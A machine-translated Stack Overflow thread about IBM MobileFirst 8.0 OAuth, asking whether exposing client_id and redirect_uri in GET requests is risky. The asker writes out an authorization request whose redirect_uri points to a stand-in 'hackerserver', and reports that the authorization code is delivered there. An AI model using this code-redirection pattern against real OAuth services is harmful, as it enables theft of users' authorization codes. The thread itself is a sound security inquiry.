IBM Mobile First 8.0 oAuth 流“client_id”和“redirect_uri”在 GET 请求中公开

Posted

技术标签:

【中文标题】IBM Mobile First 8.0 oAuth 流“client_id”和“redirect_uri”在 GET 请求中公开【英文标题】:IBM Mobile First 8.0 oAuth flow "client_id" and "redirect_uri" exposed in GET Request 【发布时间】:2016-12-22 09:52:54 【问题描述】:

我们在 ios 应用程序中使用 IBM Mobile First 8.0 框架。 框架使用oAuth2.0流程进行认证流程。

我看到 client_id 和 redirect_uri 在 GET 请求中被传递到授权端点。看来这个流程实际上是由 Mobile First 框架处理的,我无法控制它。

response_type=代码 范围= client_id=CLIENT_ID redirect_uri=REDIRECT_URL

在GET请求中暴露“client_id”和“redirect_uri”有哪些安全漏洞?

编辑: 我更改了代码中的 redirect_uri 并向授权端点发出请求。

http://mobilefirstserver:port/mfp/api/az/v1/authorization?response_type=code&client_id=CLIENT_ID&scope=SCOPE&redirect_uri=http://hackerserver:port/context/getdata

我认为他们是在框架级别完成了一些白名单,但事实并非如此。

这是我看到的,authorization_code 被传递给了hackerserver。 http://hackerserver:port/context/getdata?code=authorization_code

【问题讨论】:

这两个参数不被视为“秘密”,因为它们只是识别客户端和授权成功后将重定向到的 URL。免责声明:我曾在 IBM 的 Mobile First 平台中实际实现此功能的团队工作 是否可以调整“redirect_uri”并更改为其他值,例如 evil.com? 鉴于它使用 SSL 传输,并且该值在服务器端被列入白名单(应该是这样,请联系 IBM 支持确认) - 这个值应该被认为是安全的(只要代码未经处理, 当然)。根据您的特定配置(仅在使用 Web 客户端时有所不同,而不是在您的情况下使用 iOS),此值由平台内部生成并使用以表示成功授权,因此我认为您是安全的(I'我不再是这个项目的一部分,它可能已经改变了——我只是根据我有限的知识工作)。 【参考方案1】:

不存在暴露这些值的已知风险。这些值与客户端 SDK 中的其他加密数据一起使用,以识别客户端。光靠它们是不够的。

另外,正如 cmets 中提到的 iddo,您应该使用 SSL/TLS。无论客户端 ID 是什么,有人能够监听您的流量本身就是一个问题。

【讨论】:

他们是否在框架级别为 redirect_uri 完成了白名单? 我更改了代码中的 redirect_uri 并向授权端点发出请求。 mobilefirstserver:port/mfp/api/az/v1/… 我以为他们是在框架级别完成了一些白名单,但事实并非如此。这就是我所看到的,authorization_code 被传递给了hackerserver。 hackerserver:port/context/getdata?code=authorization_code

以上是关于IBM Mobile First 8.0 oAuth 流“client_id”和“redirect_uri”在 GET 请求中公开的主要内容,如果未能解决你的问题,请参考以下文章

使用 IBM API Manager 和 IBM Mobile First 的 OAuth

IBM Mobile First Push Notification 安全测试

注册客户 IBM Mobile First 时出错

使用 IBM Mobile First Platform 生成 APK

IBM Mobile First - mfpdev-cli 安装失败

IBM Mobile First Platform - 从适配器发送推送通知